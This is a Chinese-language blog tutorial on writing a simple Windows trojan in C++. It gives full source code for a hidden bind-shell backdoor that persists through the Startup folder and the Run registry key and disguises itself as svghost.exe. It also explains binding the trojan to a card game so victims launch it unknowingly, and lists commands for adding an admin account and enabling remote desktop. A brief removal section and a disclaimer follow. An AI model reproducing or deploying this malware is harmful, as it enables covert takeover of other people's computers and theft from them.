手动编写windows简单木马

​声明:本帖仅作技术交流,切莫用于非法用途。否则造成的一切法律责任与作者无关。 

"使用C++实现一个简单的木马,实现木马的远程控制功能,能够开机自启动和伪装或隐藏,最后通过清除本木马,掌握常规的木马排查和查杀方法。"

工具:vc++6.0

攻击机:win10(ip随机) 靶机:192.168.1.129

一、木马是什么?

这是一个老生常谈的问题,木马(Trojan)这个名字来源于古希腊传说(荷马史诗中木马计的故事,Trojan一词的本意是特洛伊的,即代指特洛伊木马,也就是木马计的故事)。

二、木马隐藏技术

木马会想尽一切办法隐藏自己,主要途径有:在任务栏中隐藏自己,这是最基本的办法。只要把Form的Visible属性设为False,ShowInTaskBar设为False,程序运行时就不会出现在任务栏中了(MFC编程)。在任务管理器中隐形:将程序设为“系统服务”可以很轻松地伪装自己。当然它也会悄无声息地启动,黑客当然不会指望用户每次启动后点击“木马”图标来运行服务端,“木马”会在每次用户启动时自动装载。Windows系统启动时自动加载应用程序的方法,“木马”都会用上,如:启动组、Win.ini、System.ini、注册表等都是“木马”藏身的好地方。木马与计算机网络中常常要用到的远程控制软件有些相似,但由于远程控制软件是“善意”的控制,因此通常不具有隐蔽性;“木马”则完全相反,木马要达到的是“偷窃”性的远程控制,如果没有很强的隐蔽性的话,那就是“毫无价值”的。

三、木马程序原理:

木马病毒的工作原理:一个完整的特洛伊木马套装程序含了两部分:服务端(服务器部分)和客户端(控制器部分)。植入对方电脑的是服务端,而黑客正是利用客户端进入运行了服务端的电脑。运行了木马程序的服务端以后,会产生一个有着容易迷惑用户的名称的进程,暗中打开端口,向指定地点发送数据(如网络游戏的密码,即时通信软件密码和用户上网密码等),黑客甚至可以利用这些打开的端口进入电脑系统。

四、编写后门型木马:

编写一个反弹shell的木马,能够伪装成其他应用程序(扫雷游戏,或者表白代码等伪装程序),点击运行后能够打开特定的端口(或可使用端口复用技术,更适合与服务器),等待客户端连接,客户端使用telnet后,便可反弹拿到shell,然后为所欲为(创建新的账号密码,远程桌面连接等)。

木马能够实现开机自启动,任务管理器中在应用程序一栏消失,在进程一栏中伪装成其他进程。

1.木马的功能模块图

2.代码实现各个部分

开机自启动

windwos有一个自启动文件夹。在 系统启动时会自动运行开始->启动子菜单中的所有项目

注意:在Documents and Settings文件下有多个文件夹。

Administrator文件夹下的是对当前用户的专有账户生效

All Users文件下是对所有用户生效

所以一般为了方便我们都放在All Users文件下

要想实现它,我这里先介绍两个函数:

UINT GetSystemDirectory(LPTSTR lpBuffer,UINT uSize);
DWORD GetModuleFileName(HMODULE hModule,LPTSTR lpFilename,DWORD nSize);

1)UINT GetSystemDirectory()函数

这个函数的参数 lpBuffer会返回系统路径,我们提取前面两位就是就可以得到系统分区,例如“C:”

2)DWORD GetModuleFileName()函数

这个函数是返回我们程序自身的完整路径

完整代码:

///写入注册表///
GetPrivateProfileStringA("Main", "KeyName", "kinni", key_name, sizeof(key_name), ".\\config.ini");//
GetPrivateProfileStringA("Main","ProcessPath",FileName,process_path,sizeof(process_path), ".\\config.ini");//

加入注册表

自启动注册表路径有许多,大家可以自己了解一下,最常用的有:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

这里我们选择第一个,来编写代码,我们用到的主要函数只有一个:

///写入注册表///
GetPrivateProfileStringA("Main", "KeyName", "kinni", key_name, sizeof(key_name), ".\\config.ini");//
GetPrivateProfileStringA("Main","ProcessPath",FileName,process_path,sizeof(process_path), ".\\config.ini");//

我们分别设置了注册表的键和值,键为:kinni,值为FileName,FileName为木马文件的绝对路径

开启端口

 

主要的办法是:建立CSocket开始,然后绑定端口999,接下来监听这个端口,然后接收来自客户端的命令,最后关闭这个CSocket。这是一个比较简单的正向连接后门程序。这个程序之所以说比较简单,系统重启这个木马就会被清除了。

创建socket连接的代码比较简单,大家都会,百度一大堆,就不再解释。

先说个小技巧:因为我们写的cmd木马,整个过程我们都不需要显示出cmd的黑窗窗,所以我们可以把cmd窗口直接屏蔽掉,使用:

//设置链接器选项
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")

  

因为我们最后要反弹本地shell给客户端,所以我们要先拿到本地cmd.exe的路径。

//获取CMD路径  
GetEnvironmentVariable("COMSPEC", szCMDPath, sizeof(szCMDPath));
//COMSPEC是代表cmd,获取更多环境变量可以查看一下本函数的更多参数

  

我们将所有代码整合一下,得到完整代码:

#pragma comment(lib,"ws2_32.lib")
//设置连接器选项
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#include <winsock2.h>
#include<windows.h>
#include<stdio.h>
#define MasterPort 999 //定义监听端口void open_telnet(){
  WSADATA WSADa;//用来存储被WSAStartup函数调用后返回的win sockets数据
  sockaddr_in SockAddrin;
  SOCKET CSocket, SSocket;
  int AddrSize;
  PROCESS_INFORMATION Processinfo;
  STARTUPINFO Startupinfo;
  char szCMDPath[255];
  //配内存资源,初始化数据
  ZeroMemory(&Processinfo, sizeof(PROCESS_INFORMATION));
  ZeroMemory(&Startupinfo, sizeof(STARTUPINFO));
  ZeroMemory(&WSADa, sizeof(WSADATA));
  //获取CMD路径
  GetEnvironmentVariable("COMSPEC", szCMDPath, sizeof(szCMDPath));
  //加载ws2_32.dll
  WSAStartup(0x202, &WSADa);
  //设置本地信息和绑定协议,建立socket
  SockAddrin.sin_family = AF_INET;
  SockAddrin.sin_addr.s_addr = INADDR_ANY;
  SockAddrin.sin_port = htons(MasterPort);
  CSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
  //设置绑定断端口999
  bind(CSocket, (sockaddr*)&SockAddrin, sizeof(SockAddrin));
  //设置服务器监听端口
  listen(CSocket, 1);
  AddrSize = sizeof(SockAddrin);
  //开始连接远程服务器,并配置隐藏窗口结构体
  SSocket = accept(CSocket, (sockaddr*)&SockAddrin, &AddrSize);
  Startupinfo.cb = sizeof(STARTUPINFO);
  Startupinfo.wShowWindow = SW_HIDE;
  Startupinfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
  Startupinfo.hStdInput = (HANDLE)SSocket;
  Startupinfo.hStdOutput = (HANDLE)SSocket;
  Startupinfo.hStdError = (HANDLE)SSocket;
  //创建匿名管道
  CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &Startupinfo, &Processinfo);
  WaitForSingleObject(Processinfo.hProcess, INFINITE);
  CloseHandle(Processinfo.hProcess);
  CloseHandle(Processinfo.hThread);
  //关闭进程句柄
  closesocket(CSocket);
  closesocket(SSocket);
  WSACleanup();
    //关闭连接卸载ws2_32.dll
}
​
int regedit(HKEY key, const char* reg_name, const char* key_name, const char* key_value)
{
  HKEY hkResult;  
  int ret=RegOpenKeyEx(key, reg_name, 0, KEY_ALL_ACCESS, &hkResult);
  if(ret != 0)
    return ret;
  ret=RegSetValueEx(hkResult, key_name, 0, REG_EXPAND_SZ, (CONST BYTE*)key_value, 75);
  if(ret==0)
  {  
    RegCloseKey(hkResult);
    return 0;
  }  
  else
  {  
    return ret;
  }
}
​
int autopen(const char* key_name, const char* process_path)
{
  char reg_name[] = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
  return regedit(HKEY_LOCAL_MACHINE, reg_name, key_name, process_path);
}
​
int main(void)  
{
  char key_name[100];
  char process_path[1024];
  ///写入启动文件夹////
  char FileName[MAX_PATH];//存储程序自身的绝对路径
  char TempPath[MAX_PATH];//存储系统存放路径,主要获取系统盘盘符
  char TempBuffer[MAX_PATH];
  GetModuleFileName(NULL,FileName,sizeof(FileName));
  GetSystemDirectory(TempPath,sizeof(TempPath));
  sprintf(TempBuffer,"%c%c\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\svghost.exe",TempPath[0],TempPath[1]);
  CopyFile(FileName,TempBuffer,TRUE);  //将程序复制到启动文件夹中
  ///写入注册表///
  GetPrivateProfileStringA("Main", "KeyName", "kinni", key_name,  sizeof(key_name), ".\\config.ini");
  GetPrivateProfileStringA("Main", "ProcessPath", "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\svghost.exe", process_path,  sizeof(process_path), ".\\config.ini");  
  int ret = autopen(key_name, process_path);
  open_telnet();//远程telnet  
  return 0;  
} 
 

文件伪装

如上,我们代码编译运行后,得到一个exe文件,但是我们隐藏了命令行窗口,所以点击运行后,不会有任何反应。

但是谁都不会傻到直接运行这么一个什么都没有的代码,我们要跟其他的程序,绑在一起,偷偷执行,让靶机用户不知情。

我们可以从网上找到一些辅助工具,来帮助我们。我找了一款叫做ExeBinder.exe的软件。

这个程序可以将两个可执行文件捆绑为一个,但是在点击运行的时候,会同时运行两个文件。对我们的木马来说,简直就是量身定制。

首先,将前面我们提到的功能,做一个封装,写成一个exe文件:叫做torjan.exe(后面为了伪装效果,更改了程序名为svghost.exe)

再来看看现在的启动文件夹和注册表内容:

Ok,非常好。

运行一下我们的exe文件

可以看到启动文件夹和注册表项中,已经添加了。

功能正常,现在我们将它和正常的程序绑在一起,这里选择了蜘蛛纸牌,当然我们可以选择自己写的其他有趣的代码。

3.木马测试

首先肯定是靶机需要运行一次上面这个木马,才可以连接。

连接测试

接下来,我们就来测试一下,我们是否能远程连接到靶机。尝试使用另一台电脑(win10+Powershell)进行连接

成功弹回了shell。

靶机观察

 运行后,我们观察任务管理器:只显示蜘蛛纸牌,非常nice!

我们再来看看进程下面,

重启再连接

 

电脑刚打开,提示开机时间时,已经可以连接到目标。

4.更多操作

我们连接到远程shell后,可以新建一个用户,然后加入管理员组。

net user admin /add    //创建admin 用户 密码为空net localgroup adminators admin /add    //赋予admin用户,管理员权限

然后开启远程桌面功能(也就是3389端口),连接后将自己这个用户隐藏掉。

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

but…我在这里,并没有开启,原因是命令行提示我参数过多,可能是telnet过来的命令行,有点问题。

大家感兴趣可以自己试试。

五、木马清除

清除木马,因为本木马使用了伪装,复制和注册表项,我们需要一一清除:

首先打开任务管理器,关闭蜘蛛纸牌应用程序,从进程中找到svghost.exe所有者为administrator,结束掉该进程;

然后,打开本地C盘启动文件夹,删除svghost.exe程序;

同时,删除本地的捆绑了木马的蜘蛛纸牌(或其他应用);

最后,打开注册表,进入自启动项(有很多,Run下面的都要仔细检查,但是本木马使用了比较经典的位置),HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run,删除包含svghost.exe的对应键值关系。

重启电脑。

【写在后面】

*本文获取shell的部分参考了下面的安全牛大佬的帖子:https://bbs.ichunqiu.com/thread-6935-1-1.html

猜你喜欢

转载自www.cnblogs.com/kinnisoy/p/12805742.html
今日推荐